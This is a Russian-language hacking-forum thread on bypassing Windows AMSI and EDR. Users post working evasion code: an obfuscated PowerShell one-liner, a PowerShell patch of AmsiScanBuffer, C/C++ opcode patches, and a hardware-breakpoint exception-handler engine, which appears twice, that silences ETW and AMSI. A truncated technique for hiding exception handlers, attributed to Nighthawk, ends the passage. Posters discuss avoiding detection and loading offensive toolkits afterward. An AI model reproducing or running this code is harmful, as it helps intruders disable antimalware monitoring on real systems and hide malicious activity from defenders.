• XSS.stack #1 – первый литературный журнал от юзеров форума

AV\EDR Обход AMSI

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Один из любимых способов обхода AMSI. После выполнения, можете спокойно импортировать хоть весь PowerSploit. Нюансы останутся, конечно, но ты справишься.
Код:
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " " ).GetField([string](38..51|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " ",'Non' + 'Public,Static').SetValue($null,$true)
В рамках анализа защищенности это часто пригождается. А вот на Red Team будет уместнее писать свои утилиты, для обхода сигнатур и просто потому что ты 31337.
автор (с) ad_pohueque
 
Их можно кучу нарезать с https://github.com/danielbohannon/Invoke-Obfuscation

Код:
> . .\Invoke-Obfuscation.psd1
> Invoke-Obfuscation
> set scriptblock iex ...
> or
> set scriptpath .\amsi.ps1
> test
> encoding (could be done several times)
> compress
> launcher
> clip
 
For obfuscation of amsi payloads also try this website:
Also I remember used this method also for obfuscation:

If you want to understand some of the basic of AMSI bypassing perhaps read this:
 
Сам пользуюсь вот этим powershell скриптом -

Код:
$c = 't'
$Win32 = @"
using System.Runtime.InteropServices;
using System;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtec$c(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$nowhere = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($nowhere))
$somewhere = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$notaddress = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($somewhere))
$notp = 0
$replace = 'VirtualProtec'
[Win32]::('{0}{1}' -f $replace,$c)($notaddress, [uint32]5, 0x40, [ref]$notp)
$stopitplease = [Byte[]] (0xB8, 0x57, 0x00, 0x17, 0x20, 0x35, 0x8A, 0x53, 0x34, 0x1D, 0x05, 0x7A, 0xAC, 0xE3, 0x42, 0xC3)
$marshalClass = [System.Runtime.InteropServices.Marshal]
$marshalClass::Copy($stopitplease, 0, $notaddress, $stopitplease.Length)

For obfuscation of amsi payloads also try this website:
AMSI.fail Also I remember used this method also for obfuscation:
If you want to understand some of the basic of AMSI bypassing perhaps read this:
Тоже рабочая тема
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
вот еще кому надо тоже вариант по обходу amsi на с++


C++:
#include <iostream>
#include <Windows.h>
#include <amsi.h> 

typedef HRESULT(WINAPI* AmsiScanBufferPtr)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);

int main() {
HMODULE amsiDll = LoadLibrary(L"amsi.dll");
if (amsiDll != NULL) {

    AmsiScanBufferPtr AmsiScanBuffer = (AmsiScanBufferPtr)GetProcAddress(amsiDll, "AmsiScanBuffer");
    if (AmsiScanBuffer != NULL) {
    
        unsigned char patch[] = { 0xC3 }; // RET opcode (return without executing the rest of the function)
        DWORD oldProtect;
        VirtualProtect((LPVOID)AmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
        memcpy(AmsiScanBuffer, patch, sizeof(patch));
        VirtualProtect((LPVOID)AmsiScanBuffer, sizeof(patch), oldProtect, NULL);

    
    }
    

    FreeLibrary(amsiDll);
}
 
вот еще кому надо тоже вариант по обходу amsi на с++


C++:
#include <iostream>
#include <Windows.h>
#include <amsi.h>

typedef HRESULT(WINAPI* AmsiScanBufferPtr)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);

int main() {
HMODULE amsiDll = LoadLibrary(L"amsi.dll");
if (amsiDll != NULL) {

    AmsiScanBufferPtr AmsiScanBuffer = (AmsiScanBufferPtr)GetProcAddress(amsiDll, "AmsiScanBuffer");
    if (AmsiScanBuffer != NULL) {
   
        unsigned char patch[] = { 0xC3 }; // RET opcode (return without executing the rest of the function)
        DWORD oldProtect;
        VirtualProtect((LPVOID)AmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
        memcpy(AmsiScanBuffer, patch, sizeof(patch));
        VirtualProtect((LPVOID)AmsiScanBuffer, sizeof(patch), oldProtect, NULL);

   
    }
   

    FreeLibrary(amsiDll);
}
Так патчить это напрашиватся на неприятности, там и стек надо освобождать и заботится об возвращаемых статусах.
 
Так патчить это напрашиватся на неприятности, там и стек надо освобождать и заботится об возвращаемых статусах.
++, для x86 patch будет выглядеть вот так:
C:
// mov eax, E_INVALIDARG
// ret 12h
byte patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x12, 0x00 };
Для x64 так:
C:
// mov rax, E_INVALIDARG
// ret
byte patch[] = { 0x48, 0xB8, 0x57, 0x00, 0x07, 0x80, 0x00, 0x00, 0x00, 0x00, 0xC3 };

В eax/rax по итогу окажется E_INVALIDARG, что в теории должно привести к обходу AMSI.

UPD: Дополнил, производится возврат кода E_INVALIDARG, если вернуть S_OK мы оставим незаполненной структуру AMSI_RESULT, что приведет к неопределенному поведению.
 
Последнее редактирование:
Вот самый наиболее актуальный вариант патча amsi/etw c помощью брикпоинтов.
А то вот эта строка это жесткое палево) VirtualProtect((LPVOID)AmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
C++:
#include <Windows.h>
#include <tlhelp32.h>

 //////////////////////////////////////////////////////////////////////////////////////////
 /*                                          Macros                                      */
 //////////////////////////////////////////////////////////////////////////////////////////

#define MALLOC( size ) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define FREE( adr ) HeapFree(GetProcessHeap(), 0, adr)
#define TOKENIZE(x) L#x


//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Typedefs                                    */
//////////////////////////////////////////////////////////////////////////////////////////

/*
 * All callback functions must match this prototype.
 */
typedef void (WINAPI* exception_callback)(PEXCEPTION_POINTERS);

struct descriptor_entry
{
    /* Data */
    uintptr_t adr;
    unsigned pos;
    DWORD tid;
    exception_callback fun;


    struct descriptor_entry* next, * prev;
};

//////////////////////////////////////////////////////////////////////////////////////////
/*                                       Globals                                        */
//////////////////////////////////////////////////////////////////////////////////////////

CRITICAL_SECTION g_critical_section;
struct descriptor_entry* head = NULL;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                 Function Definitions                                 */
//////////////////////////////////////////////////////////////////////////////////////////

/*
 * Function: set_hardware_breakpoint
 * ---------------------------------
 *  sets/removes a hardware breakpoint in the specified debug register for a specific
 *    function address
 *
 *    tid: thread id
 *    address: address of function to point a debug register towards
 *    pos: Dr[0-3]
 *    init: TRUE (Sets)/FALSE (Removes)
 */
void
set_hardware_breakpoint(
    const DWORD tid,
    const uintptr_t address,
    const UINT pos,
    const BOOL init
)
{
    CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    HANDLE thd;

    if (tid == GetCurrentThreadId())
    {
        thd = GetCurrentThread();
    }
    else
    {
        thd = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    }

    GetThreadContext(thd, &context);

    if (init)
    {
        (&context.Dr0)[pos] = address;
        context.Dr7 &= ~(3ull << (16 + 4 * pos));
        context.Dr7 &= ~(3ull << (18 + 4 * pos));
        context.Dr7 |= 1ull << (2 * pos);
    }
    else
    {
        if ((&context.Dr0)[pos] == address)
        {
            context.Dr7 &= ~(1ull << (2 * pos));
            (&context.Dr0)[pos] = 0ull;
        }
    }

    SetThreadContext(thd, &context);

    if (thd != INVALID_HANDLE_VALUE) CloseHandle(thd);
}

/*
 * Function: set_hardware_breakpoint
 * ---------------------------------
 *  sets/removes a hardware breakpoint in the specified debug register for a specific
 *    function address
 *
 *    address: address of function to point a debug register towards
 *    pos: Dr[0-3]
 *    init: TRUE (Sets)/FALSE (Removes)
 *    tid: Thread ID (0 if to set on all threads)
 */
void
set_hardware_breakpoints(
    const uintptr_t address,
    const UINT pos,
    const BOOL init,
    const DWORD tid
)
{
    const DWORD pid = GetCurrentProcessId();
    const HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

    if (h != INVALID_HANDLE_VALUE) {
        THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };

        if (Thread32First(h, &te)) {
            do {
                if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
                    sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
                    if (tid != 0 && tid != te.th32ThreadID) {
                        continue;
                    }
                    set_hardware_breakpoint(
                        te.th32ThreadID,
                        address,
                        pos,
                        init
                    );

                }
                te.dwSize = sizeof(te);
            } while (Thread32Next(h, &te));
        }
        CloseHandle(h);
    }
}

/* DLL related functions */

/*
 * Function: insert_descriptor_entry
 * ---------------------------------
 * Instantiates a hardware hook at the supplied address.
 *
 *    adr: address to hook
 *    pos: Dr[0-3]
 *    fun: callback function matching the exception_callback signature
 *    tid: Thread ID (if is 0, will apply hook to all threads)
 *
 */
void insert_descriptor_entry(
    const uintptr_t adr,
    const unsigned pos,
    const exception_callback fun,
    const DWORD tid
)
{
    struct descriptor_entry* new = MALLOC(sizeof(struct descriptor_entry));
    const unsigned idx = pos % 4;

    EnterCriticalSection(&g_critical_section);

    new->adr = adr;
    new->pos = idx;
    new->tid = tid;
    new->fun = fun;

    new->next = head;

    new->prev = NULL;

    if (head != NULL)
        head->prev = new;

    head = new;

    LeaveCriticalSection(&g_critical_section);

    set_hardware_breakpoints(
        adr,
        idx,
        TRUE,
        tid
    );
}

/*
 * Function: insert_descriptor_entry
 * ---------------------------------
 *  Removes the hardware breakpoint entry
 *
 *    adr: address to hook
 *    tid: Thread ID (if is 0, will apply hook to all threads)
 *         N.B. the tid must match the originally applied value
 *
 */
void delete_descriptor_entry(
    const uintptr_t adr,
    const DWORD tid
)
{
    struct descriptor_entry* temp;
    unsigned pos = 0;
    BOOL found = FALSE;

    EnterCriticalSection(&g_critical_section);

    temp = head;

    while (temp != NULL)
    {
        if (temp->adr == adr &&
            temp->tid == tid)
        {
            found = TRUE;

            pos = temp->pos;
            if (head == temp)
                head = temp->next;

            if (temp->next != NULL)
                temp->next->prev = temp->prev;

            if (temp->prev != NULL)
                temp->prev->next = temp->next;

            FREE(temp);
        }

        temp = temp->next;
    }

    LeaveCriticalSection(&g_critical_section);

    if (found)
    {
        set_hardware_breakpoints(
            adr,
            pos,
            FALSE,
            tid
        );
    }

}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Exception Handler                               */
//////////////////////////////////////////////////////////////////////////////////////////
/*
 * Function: exception_handler
 * -----------------------------------------
 *  hardware breakpoint exception handler required to deal with set debug registers.
 *  initiated by hardware_engine_init and removed by hardware_engine_stop
 *
 */
LONG WINAPI exception_handler(
    PEXCEPTION_POINTERS ExceptionInfo
)
{
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
    {
        struct descriptor_entry* temp;
        BOOL resolved = FALSE;

        EnterCriticalSection(&g_critical_section);
        temp = head;
        while (temp != NULL)
        {
            if (temp->adr == ExceptionInfo->ContextRecord->Rip)
            {
                if (temp->tid != 0 && temp->tid != GetCurrentThreadId())
                    continue;

                temp->fun(ExceptionInfo);
                resolved = TRUE;
            }

            temp = temp->next;
        }
        LeaveCriticalSection(&g_critical_section);

        if (resolved)
        {
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

/*
 * Function: hardware_engine_init
 * ------------------------------
 *  initializes the VEH and critical section
 *
 * returns: handler to the exception handler (can be removed with
 *          RemoveVectoredExceptionHandler.
 */
PVOID
hardware_engine_init(
    void
)
{
    const PVOID handler = AddVectoredExceptionHandler(1, exception_handler);
    InitializeCriticalSection(&g_critical_section);

    return handler;
}

/*
 * Function: hardware_engine_stop
 * ------------------------------
 *  Disables all currently set hardware breakpoints, and
 *  clears all the descriptor entries.
 *
 */
void
hardware_engine_stop(
    PVOID handler
)
{
    struct descriptor_entry* temp;

    EnterCriticalSection(&g_critical_section);

    temp = head;
    while (temp != NULL)
    {
        delete_descriptor_entry(temp->adr, temp->tid);
        temp = temp->next;
    }

    LeaveCriticalSection(&g_critical_section);

    if (handler != NULL) RemoveVectoredExceptionHandler(handler);

    DeleteCriticalSection(&g_critical_section);
}


uintptr_t
find_gadget(
    const uintptr_t function,
    const BYTE* stub,
    const UINT size,
    const size_t dist
)
{
    for (size_t i = 0; i < dist; i++)
    {
        if (memcmp((LPVOID)(function + i), stub, size) == 0) {
            return (function + i);
        }
    }
    return 0ull;
}


//////////////////////////////////////////////////////////////////////////////////////////
/*                                       Callbacks                                      */
//////////////////////////////////////////////////////////////////////////////////////////

void rip_ret_patch(
    const PEXCEPTION_POINTERS ExceptionInfo
)
{
    ExceptionInfo->ContextRecord->Rip = find_gadget(
        ExceptionInfo->ContextRecord->Rip,
        "\xc3", 1, 500);
    ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Set Resume Flag
}

void load_library_patch(
    const PEXCEPTION_POINTERS ExceptionInfo
)
{
#define SPECIFIC_DLL TOKENIZE( DBGHELP.DLL )

    //
    // Block certain DLLs from being loaded.
    //

#if defined(SPECIFIC_DLL)
    if (_wcsicmp(SPECIFIC_DLL, (PVOID)ExceptionInfo->ContextRecord->Rcx) == 0)
#endif
    {
        ExceptionInfo->ContextRecord->Rip = find_gadget(
            ExceptionInfo->ContextRecord->Rip,
            "\xc3", 1, 500);
        ExceptionInfo->ContextRecord->Rax = 0ull;
    }
    ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Set Resume Flag
}
//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Entry                                       */
//////////////////////////////////////////////////////////////////////////////////////////

#define NTTRACECONTROL_ETW_PATCH
//#define NTTRACEEVENT_ETW_PATCH
//#define AMSI_PATCH
#define LOAD_LIBRARY_PATCH

int main()
{
    const PVOID handler = hardware_engine_init();

#if defined(NTTRACEEVENT_ETW_PATCH)
    uintptr_t etwPatchAddr = (uintptr_t)GetProcAddress(
        GetModuleHandleW(L"ntdll.dll"), "NtTraceEvent");
    insert_descriptor_entry(etwPatchAddr, 0, rip_ret_patch, GetCurrentThreadId());
#elif defined(NTTRACECONTROL_ETW_PATCH)
    uintptr_t etwPatchAddr = (uintptr_t)GetProcAddress(
        GetModuleHandleW(L"ntdll.dll"), "NtTraceControl");
    insert_descriptor_entry(etwPatchAddr, 0, rip_ret_patch, GetCurrentThreadId());
#endif

#if defined(LOAD_LIBRARY_PATCH)
    uintptr_t llPatchAddr = (uintptr_t)GetProcAddress(
        GetModuleHandleW(L"KERNEL32.dll"), "LoadLibraryExW");
    insert_descriptor_entry(llPatchAddr, 0, load_library_patch, GetCurrentThreadId());
#endif

#if defined(AMSI_PATCH)
    LoadLibraryA("AMSI.dll");
    uintptr_t amsiPatchAddr = (uintptr_t)GetProcAddress(
        GetModuleHandleW(L"AMSI.dll"), "AmsiScanBuffer");
    insert_descriptor_entry(amsiPatchAddr, 1, rip_ret_patch, GetCurrentThreadId());
#endif

    //
    // test case for LoadLibraryEx hook
    //
    HMODULE dbgModule = LoadLibraryExW(L"DBGHELP.dll", NULL, 0);


    //
    // do whatever
    //

#if defined(NTTRACEEVENT_ETW_PATCH)
    delete_descriptor_entry(etwPatchAddr, GetCurrentThreadId());
#elif defined(NTTRACECONTROL_ETW_PATCH)
    delete_descriptor_entry(etwPatchAddr, GetCurrentThreadId());
#endif

#if defined(AMSI_PATCH)
    delete_descriptor_entry(amsiPatchAddr, GetCurrentThreadId());
#endif

#if defined(LOAD_LIBRARY_PATCH)
    delete_descriptor_entry(llPatchAddr, GetCurrentThreadId());
#endif

    hardware_engine_stop(handler);
}
 
Вот самый наиболее актуальный вариант патча amsi/etw c помощью брикпоинтов.
А то вот эта строка это жесткое палево) VirtualProtect((LPVOID)AmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
C++:
#include <Windows.h>
#include <tlhelp32.h>

 //////////////////////////////////////////////////////////////////////////////////////////
 /*                                          Macros                                      */
 //////////////////////////////////////////////////////////////////////////////////////////

#define MALLOC( size ) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define FREE( adr ) HeapFree(GetProcessHeap(), 0, adr)
#define TOKENIZE(x) L#x


//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Typedefs                                    */
//////////////////////////////////////////////////////////////////////////////////////////

/*
 * All callback functions must match this prototype.
 */
typedef void (WINAPI* exception_callback)(PEXCEPTION_POINTERS);

struct descriptor_entry
{
    /* Data */
    uintptr_t adr;
    unsigned pos;
    DWORD tid;
    exception_callback fun;


    struct descriptor_entry* next, * prev;
};

//////////////////////////////////////////////////////////////////////////////////////////
/*                                       Globals                                        */
//////////////////////////////////////////////////////////////////////////////////////////

CRITICAL_SECTION g_critical_section;
struct descriptor_entry* head = NULL;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                 Function Definitions                                 */
//////////////////////////////////////////////////////////////////////////////////////////

/*
 * Function: set_hardware_breakpoint
 * ---------------------------------
 *  sets/removes a hardware breakpoint in the specified debug register for a specific
 *    function address
 *
 *    tid: thread id
 *    address: address of function to point a debug register towards
 *    pos: Dr[0-3]
 *    init: TRUE (Sets)/FALSE (Removes)
 */
void
set_hardware_breakpoint(
    const DWORD tid,
    const uintptr_t address,
    const UINT pos,
    const BOOL init
)
{
    CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    HANDLE thd;

    if (tid == GetCurrentThreadId())
    {
        thd = GetCurrentThread();
    }
    else
    {
        thd = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    }

    GetThreadContext(thd, &context);

    if (init)
    {
        (&context.Dr0)[pos] = address;
        context.Dr7 &= ~(3ull << (16 + 4 * pos));
        context.Dr7 &= ~(3ull << (18 + 4 * pos));
        context.Dr7 |= 1ull << (2 * pos);
    }
    else
    {
        if ((&context.Dr0)[pos] == address)
        {
            context.Dr7 &= ~(1ull << (2 * pos));
            (&context.Dr0)[pos] = 0ull;
        }
    }

    SetThreadContext(thd, &context);

    if (thd != INVALID_HANDLE_VALUE) CloseHandle(thd);
}

/*
 * Function: set_hardware_breakpoint
 * ---------------------------------
 *  sets/removes a hardware breakpoint in the specified debug register for a specific
 *    function address
 *
 *    address: address of function to point a debug register towards
 *    pos: Dr[0-3]
 *    init: TRUE (Sets)/FALSE (Removes)
 *    tid: Thread ID (0 if to set on all threads)
 */
void
set_hardware_breakpoints(
    const uintptr_t address,
    const UINT pos,
    const BOOL init,
    const DWORD tid
)
{
    const DWORD pid = GetCurrentProcessId();
    const HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

    if (h != INVALID_HANDLE_VALUE) {
        THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };

        if (Thread32First(h, &te)) {
            do {
                if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
                    sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
                    if (tid != 0 && tid != te.th32ThreadID) {
                        continue;
                    }
                    set_hardware_breakpoint(
                        te.th32ThreadID,
                        address,
                        pos,
                        init
                    );

                }
                te.dwSize = sizeof(te);
            } while (Thread32Next(h, &te));
        }
        CloseHandle(h);
    }
}

/* DLL related functions */

/*
 * Function: insert_descriptor_entry
 * ---------------------------------
 * Instantiates a hardware hook at the supplied address.
 *
 *    adr: address to hook
 *    pos: Dr[0-3]
 *    fun: callback function matching the exception_callback signature
 *    tid: Thread ID (if is 0, will apply hook to all threads)
 *
 */
void insert_descriptor_entry(
    const uintptr_t adr,
    const unsigned pos,
    const exception_callback fun,
    const DWORD tid
)
{
    struct descriptor_entry* new = MALLOC(sizeof(struct descriptor_entry));
    const unsigned idx = pos % 4;

    EnterCriticalSection(&g_critical_section);

    new->adr = adr;
    new->pos = idx;
    new->tid = tid;
    new->fun = fun;

    new->next = head;

    new->prev = NULL;

    if (head != NULL)
        head->prev = new;

    head = new;

    LeaveCriticalSection(&g_critical_section);

    set_hardware_breakpoints(
        adr,
        idx,
        TRUE,
        tid
    );
}

/*
 * Function: insert_descriptor_entry
 * ---------------------------------
 *  Removes the hardware breakpoint entry
 *
 *    adr: address to hook
 *    tid: Thread ID (if is 0, will apply hook to all threads)
 *         N.B. the tid must match the originally applied value
 *
 */
void delete_descriptor_entry(
    const uintptr_t adr,
    const DWORD tid
)
{
    struct descriptor_entry* temp;
    unsigned pos = 0;
    BOOL found = FALSE;

    EnterCriticalSection(&g_critical_section);

    temp = head;

    while (temp != NULL)
    {
        if (temp->adr == adr &&
            temp->tid == tid)
        {
            found = TRUE;

            pos = temp->pos;
            if (head == temp)
                head = temp->next;

            if (temp->next != NULL)
                temp->next->prev = temp->prev;

            if (temp->prev != NULL)
                temp->prev->next = temp->next;

            FREE(temp);
        }

        temp = temp->next;
    }

    LeaveCriticalSection(&g_critical_section);

    if (found)
    {
        set_hardware_breakpoints(
            adr,
            pos,
            FALSE,
            tid
        );
    }

}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Exception Handler                               */
//////////////////////////////////////////////////////////////////////////////////////////
/*
 * Function: exception_handler
 * -----------------------------------------
 *  hardware breakpoint exception handler required to deal with set debug registers.
 *  initiated by hardware_engine_init and removed by hardware_engine_stop
 *
 */
LONG WINAPI exception_handler(
    PEXCEPTION_POINTERS ExceptionInfo
)
{
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
    {
        struct descriptor_entry* temp;
        BOOL resolved = FALSE;

        EnterCriticalSection(&g_critical_section);
        temp = head;
        while (temp != NULL)
        {
            if (temp->adr == ExceptionInfo->ContextRecord->Rip)
            {
                if (temp->tid != 0 && temp->tid != GetCurrentThreadId())
                    continue;

                temp->fun(ExceptionInfo);
                resolved = TRUE;
            }

            temp = temp->next;
        }
        LeaveCriticalSection(&g_critical_section);

        if (resolved)
        {
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

/*
 * Function: hardware_engine_init
 * ------------------------------
 *  initializes the VEH and critical section
 *
 * returns: handler to the exception handler (can be removed with
 *          RemoveVectoredExceptionHandler.
 */
PVOID
hardware_engine_init(
    void
)
{
    const PVOID handler = AddVectoredExceptionHandler(1, exception_handler);
    InitializeCriticalSection(&g_critical_section);

    return handler;
}

/*
 * Function: hardware_engine_stop
 * ------------------------------
 *  Disables all currently set hardware breakpoints, and
 *  clears all the descriptor entries.
 *
 */
void
hardware_engine_stop(
    PVOID handler
)
{
    struct descriptor_entry* temp;

    EnterCriticalSection(&g_critical_section);

    temp = head;
    while (temp != NULL)
    {
        delete_descriptor_entry(temp->adr, temp->tid);
        temp = temp->next;
    }

    LeaveCriticalSection(&g_critical_section);

    if (handler != NULL) RemoveVectoredExceptionHandler(handler);

    DeleteCriticalSection(&g_critical_section);
}


uintptr_t
find_gadget(
    const uintptr_t function,
    const BYTE* stub,
    const UINT size,
    const size_t dist
)
{
    for (size_t i = 0; i < dist; i++)
    {
        if (memcmp((LPVOID)(function + i), stub, size) == 0) {
            return (function + i);
        }
    }
    return 0ull;
}


//////////////////////////////////////////////////////////////////////////////////////////
/*                                       Callbacks                                      */
//////////////////////////////////////////////////////////////////////////////////////////

void rip_ret_patch(
    const PEXCEPTION_POINTERS ExceptionInfo
)
{
    ExceptionInfo->ContextRecord->Rip = find_gadget(
        ExceptionInfo->ContextRecord->Rip,
        "\xc3", 1, 500);
    ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Set Resume Flag
}

void load_library_patch(
    const PEXCEPTION_POINTERS ExceptionInfo
)
{
#define SPECIFIC_DLL TOKENIZE( DBGHELP.DLL )

    //
    // Block certain DLLs from being loaded.
    //

#if defined(SPECIFIC_DLL)
    if (_wcsicmp(SPECIFIC_DLL, (PVOID)ExceptionInfo->ContextRecord->Rcx) == 0)
#endif
    {
        ExceptionInfo->ContextRecord->Rip = find_gadget(
            ExceptionInfo->ContextRecord->Rip,
            "\xc3", 1, 500);
        ExceptionInfo->ContextRecord->Rax = 0ull;
    }
    ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Set Resume Flag
}
//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Entry                                       */
//////////////////////////////////////////////////////////////////////////////////////////

#define NTTRACECONTROL_ETW_PATCH
//#define NTTRACEEVENT_ETW_PATCH
//#define AMSI_PATCH
#define LOAD_LIBRARY_PATCH

int main()
{
    const PVOID handler = hardware_engine_init();

#if defined(NTTRACEEVENT_ETW_PATCH)
    uintptr_t etwPatchAddr = (uintptr_t)GetProcAddress(
        GetModuleHandleW(L"ntdll.dll"), "NtTraceEvent");
    insert_descriptor_entry(etwPatchAddr, 0, rip_ret_patch, GetCurrentThreadId());
#elif defined(NTTRACECONTROL_ETW_PATCH)
    uintptr_t etwPatchAddr = (uintptr_t)GetProcAddress(
        GetModuleHandleW(L"ntdll.dll"), "NtTraceControl");
    insert_descriptor_entry(etwPatchAddr, 0, rip_ret_patch, GetCurrentThreadId());
#endif

#if defined(LOAD_LIBRARY_PATCH)
    uintptr_t llPatchAddr = (uintptr_t)GetProcAddress(
        GetModuleHandleW(L"KERNEL32.dll"), "LoadLibraryExW");
    insert_descriptor_entry(llPatchAddr, 0, load_library_patch, GetCurrentThreadId());
#endif

#if defined(AMSI_PATCH)
    LoadLibraryA("AMSI.dll");
    uintptr_t amsiPatchAddr = (uintptr_t)GetProcAddress(
        GetModuleHandleW(L"AMSI.dll"), "AmsiScanBuffer");
    insert_descriptor_entry(amsiPatchAddr, 1, rip_ret_patch, GetCurrentThreadId());
#endif

    //
    // test case for LoadLibraryEx hook
    //
    HMODULE dbgModule = LoadLibraryExW(L"DBGHELP.dll", NULL, 0);


    //
    // do whatever
    //

#if defined(NTTRACEEVENT_ETW_PATCH)
    delete_descriptor_entry(etwPatchAddr, GetCurrentThreadId());
#elif defined(NTTRACECONTROL_ETW_PATCH)
    delete_descriptor_entry(etwPatchAddr, GetCurrentThreadId());
#endif

#if defined(AMSI_PATCH)
    delete_descriptor_entry(amsiPatchAddr, GetCurrentThreadId());
#endif

#if defined(LOAD_LIBRARY_PATCH)
    delete_descriptor_entry(llPatchAddr, GetCurrentThreadId());
#endif

    hardware_engine_stop(handler);
}
Когда то любил использовать вех, теперь только локальненько. Очень оно палевное.
 
Когда то любил использовать вех, теперь только локальненько. Очень оно палевное.
Палевно конечно, но я использую спуфинг стэка вызовов, так что полет нормальный.
Вот кстати интересеная техника "очистки" вех, в Nighthawk ее используют.
C++:
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

typedef struct _VECTXCPT_CALLOUT_ENTRY {

    LIST_ENTRY Links;

    PVOID reserved[2];

    PVECTORED_EXCEPTION_HANDLER VectoredHandler;

} VECTXCPT_CALLOUT_ENTRY, * PVECTXCPT_CALLOUT_ENTRY;


LONG WINAPI dummyExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)

{
    return 0;
}


BOOL getNtdllSectionVa(DWORD sectionNameHash, PVOID* sectionVa, DWORD* sectionSz)
{
    const LIST_ENTRY* head = &NtCurrentTeb()->ProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* next = head->Flink;
    while (next != head)
    {
        LDR_DATA_TABLE_ENTRY* entry =
        CONTAINING_RECORD(next, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        const UNICODE_STRING* basename = (UNICODE_STRING*)((BYTE*)&entry->FullDllName
            + sizeof(UNICODE_STRING));

        if (Hash(basename->Buffer) == 0x1292CCF7F) //ntdll.dll
        {
            PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)entry->DllBase
                + ((PIMAGE_DOS_HEADER)entry->DllBase)->e_lfanew);
            for (int j = 0; j < nt->FileHeader.NumberOfSections; j++) {
                const PIMAGE_SECTION_HEADER section =
                    (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(nt) +
                        (DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * j);
                if (Hash(section->Name) == sectionNameHash) {
                    *sectionVa = (PVOID)((ULONG_PTR)entry->DllBase
                        + section->VirtualAddress);
                    *sectionSz = section->Misc.VirtualSize;
                    return TRUE;
                }
            }
        }
        next = next->Flink;
    }
    return FALSE;
}


PVOID findLdrpVectorHandlerList()
{
    BOOL found = FALSE;
    //
    // Register a fake handler
    //
    PVOID dummyHandler = AddVectoredExceptionHandler(0, &dummyExceptionHandler);
    if (dummyHandler == NULL)
        return NULL;
    PLIST_ENTRY next = ((PLIST_ENTRY)dummyHandler)->Flink;
    PVOID sectionVa;
    DWORD sectionSz;
    //
    // LdrpVectorHandlerList will be found in the .data section of NTDLL.dll
    //
    if (getNtdllSectionVa(0x58705E3ABB, &sectionVa, &sectionSz))
    {
        while ((PVOID)next != dummyHandler)
        {
            if ((PVOID)next >= sectionVa &&
                (PVOID)next <= (PVOID)((ULONG_PTR)sectionVa + sectionSz))
                break;
            if ((PVOID)next >= sectionVa &&
                (PVOID)next <= (PVOID*)sectionVa + sectionSz)
            {
                found = TRUE;
                break;
            }
